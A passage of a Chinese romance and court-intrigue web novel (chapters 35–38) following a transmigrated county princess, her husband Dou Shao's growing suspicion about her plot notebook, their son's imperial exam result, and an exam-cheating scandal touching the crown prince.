35. 第 35 章
卫姜和陶氏正在为窦景准备上场的东西,门上说姑奶奶和姑爷过来了。
“你们怎么一起过来了?有什么事吗?”
夫妻俩一起登门这可是很少有的,特别是赵春来,卫姜来这里这么久也就见过一两次,不怪她好奇。
“二哥叫我们来的。”
两夫妻脸上都带着忐忑,卫姜忽然想到怕是窦绍查出什么了。
她让下人给两人上了茶,刚说了没几句话窦绍就回来了。
窦绍冷冷地扫了两人一眼,说了句:“跟我来。”
赵春来半辈子纨绔,最是害怕舅兄这样上进能干的人,他心中打鼓,腿都有点软了,全靠妻子扶着,窦氏也顾不上鄙夷他了。
“母亲,姑母他们……”陶氏瞧着情况有些不对。
卫姜:“没事。”她转移话题:“景哥儿的衣裳可都收拾好了?”
陶氏:“好了,我都让人打包了,我还让人准备了些能放的吃食,明日早上给包起来。”
卫姜嗯一声,问窦景人去哪了,她们在这里给他收拾,他自己倒是不见人影。
陶氏笑道:“夫君出去见几个同窗,说是待在家里也看不进书,不如和他们多探讨放松一下,也许明日能发挥更好。”
还不是想玩,美其名曰不能太紧绷,想当初她高考前也是用的这个借口,卫姜心里蛐蛐。
书房中门窗紧闭,谁也不知道他们在谈论什么,卫姜看着天色不早,吩咐厨房多准备些菜,好留窦氏夫妻在家用膳。
谁知半个时辰后,两人白着一张脸出来说要走,和卫姜说话时两人的笑容都有些勉强。
窦绍寒着一张脸,双手放在后背站在廊下,气势有点唬人。
两夫妻看了一眼,吓着似的又收回眼光,脸上揣揣不安。
卫姜很好奇他说了什么,但现下不是询问的时候,只能客客气气地送走了他们。
明日窦景就要上战场了,今晚特意准备了家宴给他加油,科考如战场,那是千人过独木桥。
窦景的性子可太不像他老子了,窦绍是谦逊低调,窦景就是澎拜张扬,还没考呢,他就张罗着要卫姜去订酒楼,倒时候好看他打马游街。
窦绍冷笑一声,打击他道:“历来就没有三甲去打马游街的。”
卫姜低头憋笑,陶氏红着脸拉丈夫。
在陶氏心里,公爹是很厉害的一个,公爹这么说,她心里有些担心丈夫是不是真的才学不行了。
陶氏感受到了丈夫怨念的眼神,好像在控诉她不信任自己,低头。
“没有你们这么打击人的,别人家都是夸自己儿子是状元之才,怎么到你们这里就笃定我是个同进士了。”
窦绍淡定地吃了口菜,然后轻飘飘问道:“我不从不说违心的话。”
噗,卫姜没忍住,一抬头就看到窦景气鼓鼓地看着,她立马收了笑,一脸正容:“娘信你,你不是状元就是探花。”
窦景有些不好意思了,“虽然比不上父亲,但二甲定然有我。”
“你比你爹当初年轻多了,年轻人大有可为。”卫姜说的自己都信了。
窦绍瞥了她一眼,替自己澄清:“我当时也不过比如今的他大一岁。”
陶氏眼睛看向公爹和婆母,当初公爹其实是状元之才,不过因为年纪小,最后被点了探花,打马游街时被婆母一眼瞧中了……
陶氏看向英俊的丈夫,幸好,她早早地嫁给了他,两人孩子都有了。
……
窦绍抱着女儿轻轻哄着,卫姜却在翻箱倒柜地翻检什么。
“你这是找什么,他东西不是都收拾好了。”
卫姜把几个箱子都找了一遍,却就是不见她那个手札了。
她明明就收在这里的呀。
她想看看之前梳理剧情的时候有没有写窦景到底考中了啥。
可怎么就找不到了呢?
卫姜抬头看他:“你有没有看到一本册子。”
窦绍指着床头一侧的话本子道:“不都?在那里吗。”
“不是那些。”她也不知道该怎么跟他说,毕竟里面写的东西不适合他知道
窦绍:“那可能你放其他地方去了,急用吗?不急明日再慢慢找,也许过些日子它就自己出来了。”
这话说的也有道理,也许是长佩她们给收到其他地方去了,明日再问问她们。
当初她写的时候是用的简体,而且字迹极其难认,一般人就是看到也看不明白。
这么一想,她又放下心来,反正在屋里子又不会跑,慢慢找。
“睡了吗?”卫姜凑过来,正好对上女儿那双精神大眼。
小卫儿抬起手就要她抱,卫姜接过轻轻拍了拍小屁股。
“还不睡,打屁屁。”
她转头对窦绍道:“你去洗漱吧,我来哄她好了。”
窦绍进了耳房,从怀中掏出一本册子,随手翻开其中一页,很多他都不明白什么意思,但他猜出其中一个名字应该是自己。
他的这个绍字她写对了。
他手指描绘着这些符号,女主男主,什么意思?这些会是她的秘密吗?
窦绍犹豫要不要把册子还给她,刚刚她的表现也不像是很重要的东西。
他轻轻敲着册子,最后还是决定等自己弄清楚了再还给她。
窦绍出来时看见的是一副很温馨的画面,昏黄的烛火下,卫姜哼着不知名的小曲,轻轻晃动着怀里的孩子,眼神似水,嘴角含笑。
抬头看见他,卫姜眼神发亮
“你总算出来,怎么这么久。”比女人洗澡还磨蹭。
卫姜立马把女儿递给了他,晃动着手臂,皱着脸道:“好重啊,她最近是不是长胖了很多。”
小卫儿还不知道被母亲嫌弃,咧着嘴在笑呢。
“她白日里睡了多久?”平时这个时候她早就被哄睡了。
卫姜想了一下道:“好像和宝哥儿睡了差不多一两个时辰。”
那个时候她们忙着,当然巴不得两个孩子多睡会。
小卫儿见爹娘都低头看她,还以为是什么新玩法,高兴的手舞足蹈。
看来一时半会是睡不着了。
“让乳娘带她去睡吧。”
等窦绍回来,卫姜已经上床了,窦绍在外间坐下,卫姜揶揄他:“怎么?不怕孩子不和你亲了?”
之前她说让孩子跟乳娘睡,他偏要说什么孩子和父母相处时间久,这样孩子才会亲父母,说什么都要把孩子抱过来一起睡。
“偶尔一次无妨。”
等两人都躺下,卫姜忽然觉得有些怪怪的,之前有个孩子在还好,如今就他们两人,怎么就都不得劲呢。
“睡不着?”窦绍开口。
卫姜卷着被子嗯了一声,没一会外间的人起身了,转头去看,窦绍拿着一样东西回来了。
“要不要喝点?”窦绍递过来
卫姜闻到淡淡果味清香,“这是什么?”
“果酒,我一个同年送来的,说是喝一点养颜助眠。”
卫姜听到酒字就摇头,不能喝酒,喝酒容易暴露流氓本性。
窦绍好像猜到她在想什么,轻笑出声,“这不是青梅酒,不醉人的。”
卫姜耳朵都烧起来了,有些尴尬,为了证明自己不是那个意思,立马接过杯子喝了。
淡淡清甜,跟果汁一样,没有酒精味道,确实如他所说,没什么度数。
窦绍又给她倒了一杯,喝完后,卫姜谨慎地摆手不要了。
也许真的是这东西起了效果,卫姜迷迷糊糊就睡着了,她转身紧紧抱住什么东西,半梦半醒间她以为是抱枕。
只是抱枕不会动手动脚的,腰间那只手慢慢地上移,手指灵活地挑开带子钻进衣襟,皮肤贴上的那一刻卫姜颤栗了,立马睁开眼,睡意瞬无。
窦绍眼尾晕红,她直觉要糟。
她抓住他的手,窦绍的手指顺势缠到了一起。
“我……我醒了。”
她醒了正好,窦绍低头朝下,卫姜偏了一下,温热触碰到她的眼角。
“我们说说话。”卫姜推他,这个时候他如一座铁塔一般,撼动不了半分。
“不能明天说吗?嗯?”那小颤音,卫姜心肝都颤抖了。
他轻轻亲着她的脸颊,往脖颈处移去,卫姜浑身一机灵,手指紧紧拽住他的衣襟,她最受不了的就是这里,他是故意的!
待他又要动作,卫姜眼急手快一把捂住他
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的嘴。
“你别乱来。”
窦绍笑的邪魅,眼角都是风情,跟要勾引人魂的狐狸精一样。
他抓住她的手,手心中轻轻吻了一下,温热滚烫。
卫姜尖叫,明明刚刚喝酒的是自己好,他好端端的发什么骚!跟个雄孔雀似的。
“县主难道不想要小的侍寝吗?”要是他不对着卫姜的耳朵吹气,她可能会觉得他可怜。
卫姜浑身都快软成面条了,可理智告诉她不行,万一……
“我不想生孩子了。”
窦绍愣了一下,两眼紧紧盯着她,好像要望到她的心底:“只是不想生孩子?”
卫姜坚定地点头,“太疼了。”
见他眼中欲望渐渐散去,人也正常些,卫姜立马脱开他的怀抱,趁机整理下揉成面团的衣裳。
“你干什么!”卫姜尖叫挣扎,拍打着他硬邦邦的胳膊。
不是都说好了吗,怎么又来,卫姜是真有点害怕了。
窦绍从背后搂住她,下巴在她头顶磨蹭两下,幽幽道:“你要聊什么?”
嗯?卫姜跟不上他的思路。
窦绍眼神幽暗不明,欲求不满语气便有些不耐烦:“你刚刚说要说说话,反正我现在是彻底睡不着了,那就说吧。”
卫姜不敢对上他的眼,脑中拼命想话题:“也不知道景哥儿明天会考的如何?他这把握大吗?”
“换一个。”窦绍不想在这个时候和他说别的男人,儿子也不行,语气有些燥起
呃!换就换。
还真被卫姜想到一件要问的,“你妹妹和妹夫做什么了?她真是来打探江南案子的?”
“换一个。”
卫姜眼睛一鼓,觉得他就是故意找茬了,“我就想听这个。”
其实他更想和她聊聊她自己,可惜好像被他惹恼了,窦绍把怀里挣扎的人抱紧,“不知道,不过应该是吧。”
卫姜:“背后是谁?”
“我查到最近孟家的人和赵春来往来紧密,就把他们叫来诈一诈,他们承认了,知道孟家人想知道江南盐税案子,他们便想从我这里打探些消息去邀功。”
卫姜眼睛一转,就想通了其中关窍:“难道他们想把慧娘嫁到孟家?”
窦绍有些意外看向他,卫姜笑道:“我猜对了?”
虽不中亦不远矣,不过他们比她更有野心,“他们看中了潞王。”
潞王妃至今还没定下,窦氏曾经还带着女儿来这里偶遇,最后虽然没成,但她的野心却没有熄灭过。
孟家是潞王的母家,孟家那么想知道江南案子,若是他们打探到什么,也可以和孟家拉上些关系。
最好那案子和孟家有牵扯就更好了,他们就能以此胁迫孟家帮她女儿去争那王妃位,实在不行,侧妃也是稳稳的。
可真敢想啊!
“难道她们就不怕这事潞王也参与,事发后他们也脱不了身。”
窦绍讥讽道:“她要是这么聪明也就不会想出这主意了。”
这次多亏了卫姜提醒,窦绍才能阻止他们的蠢主意,“这次多亏你心细。”
“那江南案子背后之人是孟家吗?潞王参与其中吗?”
书中的潞王存在感极低,站在信王的角度,他是个温和的兄长,没有什么野心,是个贤王,难道这又是个崩人设的?
窦绍:“没有证据证明孟家有参与,就算孟家参与其中也不意味着潞王就是幕后之人。”
谁都知道贵妃娘娘和娘家关系不太好,潞王和舅家也走的不近。
那……那窦氏还想让孟家出力把慧娘嫁给潞王。
窦绍轻蔑道:“所以说她是个蠢货。”
两人就这么聊了半宿,第二日卫姜差点没起来,可是不行啊,她得送窦景出门。
窦景意气风发,精神抖擞,看到母亲哈欠连天,还以为他娘为他担心一宿没睡好,很是激动道:“娘,您等我好消息。”
窦景连考三日,这三日里闹的宫中人心惶的太子妃中毒案也有了结果,自然是没查到什么主谋,最后也只是尚寝局、内官监死了两个宫女太监,发落了户部丁子库的一个看管香料的小官。
三日后,窦景志得意满地走出贡院大门。
36. 第 36 章
今日是朝廷放榜的日子,窦景一大早就携妻拖子的过来了。
“娘,你安排人去看榜了吗?”
卫姜一言难尽,就没见过这么得瑟的人,生怕别人不知道他考得好了,那尾巴差点没翘上天。
“去了去了。”
窦景小眼神又瞟向他爹:“爹,您当初是进的翰林院吧。”
卫姜诧异:“你也想进翰林院?”
窦景忙摇头:“我才不去,又要埋头读书,还不如去做点实事。”
卫姜无语,这不知道还以为翰林院有多不好,这叫进修专培好不好,人家五年出来就是中枢大领导了,他还一副瞧不起的语气,是不是有点太飘。
显然这样认为的不止她一人,窦绍讥讽道:“你进的去再说大话吧。”
窦景半点没有尴尬,“我估摸着二甲前十应该是稳的,反正我不准备去考庶吉士。”
前两年他就有过这想法,当时是想带妻子外任,也好避开母亲,如今家庭和睦了,但他依旧是想干点实事。
最好是个外任,做个小县令,主政一方,为百姓做点实事。
别人是怕去地方会让朝廷忘记自己,他却没有这个顾虑,他爹是窦绍啊。
哪怕他干十年县令,只要有功绩想回中枢还不是容易的很,他已经赢别人太多了,又何必去抢那些人晋升的路子呢。
“想好了?既然想好了就不要后悔。”窦绍看着儿子。
窦景收敛脸上的轻浮,从未有过的坚定:“爹,我也有自己的抱负。”
留京混资历那不是他想要的,就算他做的再好,别人也只会说是他爹的原因。
卫姜见他俩三言两语就定好了未来的发展规划,提醒他们道:“这榜还没放呢。”
父子俩就好像都已经中的模样,是不是有些自信过去了,万一呢……
、
卫姜转头给儿子上课:“你这样要不得,都没有惊喜了,你起码也矜持一点,装一下紧张,这样你中了,我们会有种祖宗保佑,天下掉馅饼的感觉,你现在这样……”卫姜嫌弃地皱眉,“考中了我都不想给你庆祝,内心毫无波澜”
“没有万一,我肯定二甲。”他挺直腰板,“这样好了,要是前十,您给我开三天大戏如何?”
是不是有点太夸张,考中状元还差不多,都不用卫姜开口,窦绍已经冷冷地看过来了。
“是娘说没有波澜……”在窦绍眼神中,他声音低了下去。
“中了,中了。”
去看榜的小厮一脸喜色的回来了。
窦景在大家的目光中重新挺直脊背,下巴扬的高高。
“多少名?”
那小厮好像自己考中了一样,大声地报喜:“二甲十一名。”
噗,卫姜趴在桌子上笑。
窦绍似笑非笑地看着儿子,陶氏想笑又顾忌着自己的丈夫,忍的难受,倒是窦景一脸不可置信,不应该啊。
“赏吧,府中众人多赏一月月银。”窦绍开口,让陶氏去办。
下人们喜笑颜开,纷纷上前恭贺主子。
“再去叫戏班子来,好好唱一天戏,给你们少爷庆贺一番。”卫姜笑的眼泪都出来了。
“三天是唱不成了,只能给你唱一天了。”她调侃着窦景,让他得意,翻车了吧,所以说人还是要谦虚一点。
窦景是个乐天派,丝毫没觉得有什么,他很快就自己想通了:“和我预料的也差不多,不过就相差一名,也许主考官个人喜好更喜欢那篇,不代表着我做的不好。”
卫姜觉得他以后一定不是个内耗的人,给他竖起拇指。
今日没有早朝,窦绍专门在家等喜报,既然已经知道了结果,他便去了衙门。
亲近好友得到消息纷纷上门恭贺,卫姜和陶氏也忙了起来,只剩下窦景这个闲人了。
他没事做,只能带孩子,一只手抱妹妹,一只手拉着儿子走。
“少爷,有客上门。”
孙文才第一次见这样待客的大家公子,他怔住了,过了半刻才想起是不是要给见面礼,浑身上下的摸。
半天才从袖子里摸出几个买早膳剩下的铜板。
他脸上很是尴尬,手下意识往回缩,不想窦景却笑着接住了。
“快说谢谢世伯。”窦景推了推儿子。
宝哥儿一点不怕生,他也只当铜板是什么好玩的,脆生生道:“谢谢世伯。”
孙文才笑着摸了摸他的脑袋,对窦景道:“没想到景兄这么年轻已儿女双全了。”
窦景连摆手,“这是我小妹。”怕孙文才误会:“一母同胞的亲妹妹。”
孙文才憋了半天,才说出句:“令尊令堂好福气。”
窦景也笑着道:“恭喜孙兄高中。”
孙文才一脸喜色道:“同喜同喜。”
小孩子待不住,开始哼哼唧唧,门外等待的乳娘们把他们抱走了。
“孙兄来可是有事,我还说明日去找你。”窦景亲自给他上茶。
孙文才有些拘谨。
窦景道:“如今我们是同科,以后更同朝为官,怎么还如此拘谨,我可是引你为好友。”
见他这么说,孙文才脸上笑容多了几分:“我也是。”他也是真当窦景为好友,不然他也不敢冒然上门拜访。
窦景和他认识的那些名门公子不一样,他待人真诚,从不以家世自傲。
父亲是皇帝的心腹重臣,母亲更是皇上疼爱的县主,可他并没有自持身份,不管你是贫困举子还是名门之后,他都是一样的往来笑谈。
孙文才在他的身上感受到了尊重,和窦景交往他不需要顾忌太多。
“我听旁人在说去拜谢座师的事情,想找康兄问个主意,他又不在,想来找你问问。”
孙文才借住在寺庙中,回去的路上要经过窦府,他也是想着如今自己好歹有了功名,鼓起胆子敲的门。
没想到窦家的下人竟然真的把他迎了进来,孙文才走进朱门大院时,整个人都是飘的,直到看到窦景,才落到实地。
窦景拍了下脑袋:“我怎么把这事给忘了”。殿试过后,他就一门心思等着放榜了,他爹怎么没提醒自己还有这一流程。
两人约定好后日过去,孙文才顺道再去问问康士齐是否一起。
孙文才有自己的考量,若是他这个名不见经传的小进士,就算到了两位阁老府中,最多也只是把礼物留下,连面都见不到。
但若是和窦景一起去,起码有八成机会能见到阁老,他家世不显,在京中并无门路,要想谋一个好点缺,恐怕只能靠自己了。
见到两位阁老,就有机会让他们认识他,赏识他,至少是个机会。
卫姜听说儿子有朋友来了,吩咐厨房做了一些好菜来招待,孙文才是个知分寸的,见窦绍不在家,用过膳后就告辞了。
***
另一边,窦绍也在喝酒
朝中同僚得知他儿子考中之后,闹着要去最好的酒楼喝酒。
京城最好的酒楼狮子楼,中央是戏台,二楼是雅间。
难得放松一次,而且还不是花自己的钱,一坐下众人便吩咐小二的把好酒好菜都上上来。
来了这么多位大人,其中不乏朝中重臣,掌柜的赔着十二万分的小心,殷勤地服侍着。
“各位大人有耳福,我们楼里刚从江南江南聘了戏班子,其中有一位名角儿,那身段唱腔可是……。”他竖起大拇指,掌柜留神着各位大人的脸色,果见其中有人意动。
有人推了推窦绍:“今日你是主家?你来决定。”
只是听戏又不是狎妓,窦绍自然不会扫了他们的兴致。
掌柜立马吩咐人去准备,不一会,戏就上演了。
有爱听戏的人立马就发现了其中的蹊跷:“这是男人扮的女角吧,掌柜的,您不会说的不会是他吧。”
掌柜笑着:“哪能呢,真正角儿还没上场呢?这是武旦,要身手好,这不才用了男角反串,正旦那可是真真的女角。”
懂他意思的人都笑了。
窦绍两眼盯着戏台下的人看,目光有些呆楞,别人都以为他是看戏入迷了,实在他脑子里翻江倒海。
他一直没明白卫姜册子里女主,男主的意思,如果再加个字呢?
女主角,男主角,会不会就跟台上的戏一样,是代表着故事两个主人公。
他好像抓到了什么。
回府后,他先去了前院,仔仔细细把册子又翻了一遍,他怎么忘了,她对信王和那位苏家二小姐超出一般的关心与在意,特别是那位苏家二小姐,卫姜一开始就求助的她,她为何会那么信任一个陌生人。
因为她了解别人一切,知道他们的底细,知道他们的命运吗?
难道……这信王和苏二小姐就是她说的男主女主
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那自己呢?自己又是什么角色?
窦绍竟觉得有些荒唐了,所以在她看来这是一出戏吗?他们都是里面的角儿,那她呢?她又是什么?
下凡的仙人还是附体的邪灵?
她是在等这出戏落幕吗?
窦绍攥紧了拳头,手上青筋一根根地暴出,内心深处在剧烈的挣扎。
他眼中闪过狠戾和疯狂,若是傀儡不听话了,注定的结局变了,这戏是不是就永远也落幕不了?
门外响起脚步声,窦绍被惊动,渐渐恢复了理智,他告诉自己,一切都是猜测,要稳住心神,不能乱。
“大人,黄院判今日让人送来了这个,他说是您要的东西。”全贵递过来一个小瓷瓶。
窦绍接过,这里面装的是药丸,卫姜不愿意再生,他也觉得两个孩子就够了,这是他给自己用的。
他摩挲片刻,吩咐全贵:“去后院跟县主说一声,就说我喝醉了,今日歇在前院。”
全贵诧异,窦绍解释:“一身酒味太熏人了。”
原来如此,全贵的表情让人寻味,窦绍有些懊悔。
他多说那一句做什么,他明明就是不想见她,在没理清思绪前,他都不想见她,需要找什么理由吗,以前他从不找理由的。
“来人,去把乳娘叫来。”今夜他急需确定一些事情,才能压制住心中的暴怒。
乳娘头都不敢抬,战战兢兢站在那里,心里担心是不是哪里做的不好,主家不满意了。
可为什么她来了这么久大人又不说话,她吓的腿都软了。
她犹豫再三,终于鼓起勇气开口:“大……大人有何吩咐?”
窦绍已经后悔了,一个乳娘能知道什么,他夜夜睡在她身边,不也一样不知道她是什么人吗?
沉吟片刻,他开口问道:“县主喜欢小姐吗?”
这话问的,这什么问题,乳娘眼睛都瞪大了,她都有点怀疑大人叫她来的目的了,不会是……
她双手抱胸,防备地看着窦绍,她听其他姐妹说过,有些贵人有怪癖,就喜欢勾搭乳娘。
窦绍被气个仰倒,她什么表情!
“下去吧。”窦绍黑着脸轰人。
乳娘知道自己弄了个乌龙,顿时有些尴尬,又怕得罪了男主人自己要卷铺盖走人。
忙试图做些补救:“做娘的哪有不疼孩子的,县主可疼小姐了,每天都要看好多次,睡醒了就让我抱过去呢。”
见窦绍脸色和缓了些,她又继续道:”之前县主还想亲自喂养来着,后来她实在没奶水,这才算了,上次小姐不小心着凉了,县主都急的哭了。“
这些事他都不知道,他夜夜让孩子跟他们水,她明明不乐意的,窦绍神情有些怅然。
明明得到了自己想要的答案,可窦绍心情却没有好转。
他忽然想起来了,从一开始他也是算计,用孩子来套住她,他最初目的不就是让她暂时占住这位置吗?
如今总算弄清楚她的身份了,为什么要愤怒呢,弄清楚她的来历不是更容易操控她吗?
乳娘走了,窦绍怔怔呆坐在那,陷入了自己的思绪中,脑海中一直都是她的影子,嗔怒浅笑,格外生动,一年来的点点滴滴,很短暂却比之前的十几年还深刻。
他眼中闪过幽暗,好似做了决定,起身往后院去。
卫姜正和女儿在玩闹,见他来了,很是奇怪:“你怎么来了。”
不是说今夜歇在前院。
窦绍紧紧挨着她们母女坐下,捏着女儿的小手,心忽然就定了。
他笑道:“前院东西不齐,还是回来方便。”
谁都不能拆散他的家,她不能,他也不可以。
卫姜心里暗自后悔,早知道把他东西送过去好了。
***
今日是窦景和同科们相约去拜座师的日子,他一大早就收拾整齐,又把母亲和妻子给他准备的礼物带上正要出门。
却见父亲一脸严肃地回来了,对他道:“不用去了。”
原来一大早就有落榜举子去京兆府状告主考官刘阁老泄题。
京城哗然,大批落榜举子都去了宫门口闹,此事已经上达天听。
窦景呆住了,他辛辛苦苦考的功名啊!
科举舞弊就算最后查出没有问题,他这进士身份也有瑕疵了!
他欲哭无泪,怎么这么倒霉!
37. 第 37 章
卫姜听说太子来了,有些没反应过来,窦绍凝眉,对她道:“应该是为了刘阁老的事情,你不用过去了。”
卫姜点头。
科举案子牵扯极大,皇上命令三司彻查,查到最后,却把太子扯了进来
事情的起因是一位落榜举子发现:今科上榜的士子竟然大多都是湖广人士,就算不是湖广的也是江南籍贯,北方士子竟然寥寥无几,这引起了他的疑心。
他想到主考官刘阁老正是湖广人士,这还得了,激愤之下他就去了京兆府喊冤,谁知道还真让他猜对了。
泄漏考题的人正是备受刘阁老看重的侄子,且他没有为此敛财,而是小范围的给一些人,这很难不让人怀疑他是受刘阁老的指示,至于刘阁老为什么要这么做?
他是太子的老师,会不会是太子的意思,提前安插人手。
堂堂国之储君,干扰科举取士,任人唯亲,不免让天下人寒心。
当然也有人觉得不是太子的意思,太子宽厚贤明,才德兼备,不可能做这种事。
有时候谣言只需要一句猜测,但要澄清就需要自己不断证明自己没做过。
太子和窦绍关在书房聊了一个多时辰,走的时候,太子脸色凝重,眼里全是忧虑。
“爹,太子说了什么?案子有进展吗?”窦景听说太子走了,忙过来打探消息。
一天不定案,他们这些新科进士的处境就格外尴尬。
“刘阁老今日在狱中自尽了。”
什么!这个时候死了。
窦绍淡淡道:“没死成,被救了。”
话能不能一口气说完,耍着人玩吗,两母子对视一眼。
“他想以死以证清白,也是为了保住太子清明。”
卫姜觉得这样做法傻极了,人死了什么话都说不了,脏水也能使劲往你身上倒,别人不会觉得你有节气,只会觉得你是畏罪自尽,太子也就再也说不清了。
“这刘阁老老糊涂了吧。”窦景没好气道,什么时候死不行,这个时候。
“他是不想连累太子吧。”毕竟是太子老师,他出事了,矛头自然会指向太子。
“刘阁老真是冤枉的?”
窦绍有些奇怪地看了她一眼,意外道:“你不知道?”
卫姜觉得他是故意嘲讽,白了她一眼:“我是神仙吗我知道,皇上又不是让我查案,我从哪里知道,我知道的都是大街上人都知道的。、
顿了一下,她好奇道:“对了,太子找你是做什么,这个案子也不归你管吧。”
窦景也在旁:“是啊是啊。”
窦绍手指缩了一下,面上不动人色,“大理寺卿是我的好友,太子托我办点事。”
事情牵涉到了太子身上,太子为了避嫌也不得参与案件的办理,有些事情他只能托付可信之人去办。
目前他唯一能信任的只有窦绍了。
两人目光灼灼地等着他继续说。
可真是母子,表情都一模一样,窦绍被逗笑了,“昨夜刘阁老的侄子也自尽了。”
二人一副还等着他的不过……,窦绍无奈道:“这次是真死了。”
这可是科举舞弊案的重要证人,这牢也太容易寻死了吧。
窦景:“这是要把污水往太子身上泼啊!”
窦景不愧是窦绍的儿子,一下就反应过来。
不管刘阁老死不死的成,只要这个侄子死了,那这案子就说不清了,刘阁老洗不清,他为太子的开脱的话又怎么能让大家相信呢。
窦绍赞赏地看了一眼儿子,点头道:“是这个意思,所以太子求了皇上亲自去了一趟天牢见了刘阁老。”
如今侄子死了,刘阁老也反应过来了,幕后的人不是要对付他,是剑指东宫,他不能死,他死了才是连累太子。
能做到阁老哪能是真糊涂蛋,他立马想通了其中的关节,也知道侄子怕是被人灭口了。
如今人死了,要从他口里问出真相不可能,不过刘阁老想到了一个人。
他侄子有一个养了十几年的外室,这个外室出身不好,家里不同意她进门,奈何他侄子甚至喜爱,便偷偷养在外面,刘阁老也只当作不知道。
有些事情他可能会瞒着家里,但这个外室可能会知道一些。
“所以太子是让你去查一查这个外室?她住哪里?刑部的人没有找到。”
窦绍道:“在城外,这事还得大理寺去查。”
窦景立马请缨:“爹,我帮你去送信。”
窦绍看他一脸跃跃欲试,想说什么又咽下了,同意了他的请求。
晚上,卫姜在床上翻来覆去,怎么睡不着,脑子里一直想着这件事。
原书中并没有科举案,难道又出现了什么新的反派。
卫姜啃着手指想的入神,窦绍冷不丁出声:“想什么?”
卫姜抬头看他:“如果刘阁老是被陷害的,背后之人为什么要对付太子。”
她理着自己的思路,分析这件案子最后的得益者,做一件事总是要得到好处的。
“如今没有证据证明太子做的,最好的结果就是败坏了太子名声,让太子威望扫地。”
还有什么呢?
“收揽民心?”卫姜摇头,不对,他不能出面。
对付太子,只要对太子不利都是他想要的,刘阁老,刘阁老是太子的老师,坚定的东宫党,干掉他可以剪掉太子臂膀,说不定还能让自己人上位。
自己人上位。
卫姜猛抬头看向窦绍:“不会是潞王吧?”她语气带着肯定。
窦绍一点都不意外她会这么想:“还有个信王呢?”
卫姜没有细看,自然也没有发现他的试探。
“不可能是信王。”信王是太子出事后之后才开始动心思的,而且信王和葛月没有成婚,没有女主的谋划,信王做不成。
她语气没有半分犹豫,就好像信王是她最信任人,比对丈夫和儿子还了解。
“你就这么信任他?”窦绍语气带着意思不易察觉的怪异,卫姜却没有注意到,她一头扎进了潞王是反派的震惊中。
不是,她不当反派了,剧情把潞王黑化了?一下子从言情变成朝堂权谋了?
我的个天!
之前潞王还和他下过棋呢?他不会是站潞王去了吧,卫姜眼神怪怪地看着他。
“你是站信王这边的吧?”卫姜试探地问道。
窦绍明知道她说的是什么意思,可却故意道:“我谁都不信,等大理寺的结果。”
是问你潞王和信王争皇位你占谁啊!可太子现在好好地呢,又不能问的太直白,卫姜泄气。
书中他因为葛月的关系是坚定地站在信王这边,可如今因为自己的超常发挥,他好像和葛月不是很熟悉啊,这个小翅膀不会影响大局吧。
“你觉得葛……苏二小姐人怎么样?”
窦绍:“挺好的,苏二小姐是个聪慧的女子,医术又好,待人真诚,和信王倒是挺配。”
他紧紧盯着她看,她嘴角翘起,显然很欢喜。
窦绍偏过头,眼底冷意一闪而过。
其实窦绍这次是真的误会了,卫姜只是高兴他和自己看法一样而已,这就比如嗑cp,欣喜有人和自己的眼光一样。
可惜窦绍不明白,甚至起了阴暗的想法,这是后话了。
***
卫姜看出宋氏有话要说,便吩咐陶氏带着卫家两位小姐去后院玩。
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“嫂子有什么事不妨直说。”
宋氏:“是关于巧珍的事情……”见卫姜有些讶异,她继续道:“孟家派人来提亲,为他们家幼子求娶巧珍?”
“孟家?是贵妃的娘家,保定侯孟家?”
宋氏点头:“正是。”她的表情可不像是觉得这是一门好亲。
照说卫家和孟家也算是门当户对,宋氏也不是个刻薄庶女不愿意她嫁的如意的人,怎么这么一副表情。
卫姜不解:“是这人不好?”难道是那郎君太过不堪。
宋氏摇头,欲言又止:“孟家四公子一表人才,还是个读书种子,已经是个举人了。”
勋贵公子哥能静下心来考功名,可见他的上进了。
这听着人不错啊!
宋氏:“孟四公子可是保定侯和夫人的幼子。”看小姑子没明白其中关节,她进一步点破
卫姜抬头,先不说卫家女被原主带累的名声不太好,就是名声好,巧珍一个安安分分的庶女,孟家看中她什么,还要拿个嫡子来配。
这可不像是联姻,倒像是拉拢了。
宋氏苦笑,她和丈夫也是这个想法,孟家这门亲事怕是不好答应。
卫家自大长公主走后也没有什么人有出息,虽说如今皇上看似又重新重用为家,可卫姜的大哥才不过刚刚去军中任职,在朝中还说不上话。
“你大哥的意思,想让妹夫拿个主意,这门婚事是拒了还是……?”
他们思来想去,孟家只怕是冲着窦绍来的,窦家没有合适的人选,卫家也只有一个适龄的庶女,孟家没得选。
孟家毕竟是潞王的舅家,宋氏不敢深想背后的含义。
特别是在如今这个时候。
宋氏见卫姜并没有乱了心神,还是稳得住,心中点头,看来小姑是真的变了很多。
卫姜:“这事我会跟他说的,不过……这孟四郎听着倒是挺不错的一个人。”
难道他们真的不考虑一下这个女婿人选?
宋氏笑着摇头:“齐大非偶,巧珍的性子弱,我和你大哥倒是想给她找个家境殷实人口简单的读书人。”
这也是一片慈母心了。
晚上,卫姜把此事告知了窦绍。
“我知道了,若是大嫂他们没看中孟家,拒了就是。”
卫姜:“就这么拒了?”
会不会不太好,也不知道孟家这事是不是潞王的意思。
“若是潞王的意思,那我更应该拒了。”
卫姜点头:“那我明日给他们回话吧。”
“你要不要让你们家那边也注意点。”既然能盯上卫家,那窦家他们肯定也留意上了。
窦绍无所谓道:“他们要是看得上,我无所谓,一门婚事代表不了什么。”
窦家如今只有两个侄子还未婚配,孟家肯嫁个女儿来,他们一定好好对待。
这无赖的态度,卫姜佩服。
闲话聊完,帐子里安静下来,窦绍看看女儿又看看她,开口道:“明日让乳娘带着她睡吧。”
“不要,我现在喜欢她陪我睡,怎么?你不是喜欢?有利于你们培养父女感情啊!”她眼神不善,很明显是在揶揄他。
窦绍笑容有些勉强,继续嘴硬:“喜欢。”
他有些后悔,好像搬起石头砸自己脚了。
过几日,信王被贬圈禁在府里的消息传来,卫姜惊呆了!
京城的人都明白,信王等于是废了。
怎么会这样,卫姜太过惊愕,半天回不过神。
“县主,不好了。”长佩急匆匆走了进来,脸上惊慌失措,
“外面都说我们少爷舞弊!”
卫姜噔地站起!
38. 第 38 章
乾清宫,气氛凝滞的让人窒息,守在殿门口的内侍低着头连呼吸都不敢用力。
“你说,我看你有什么要说的。”皇帝脸色铁青,指着地上跪着的人狠狠道。
信王抬起头,额角被砸了破洞,鲜红的血顺着脸颊往下流,让看的人都觉得毛骨悚然。
他好像被砸懵了,擦了擦,满手鲜红,盯着手一直看。
皇帝眼神闪了闪,有一瞬的后悔,可想到大理寺查到的事情,他又狠下心肠。
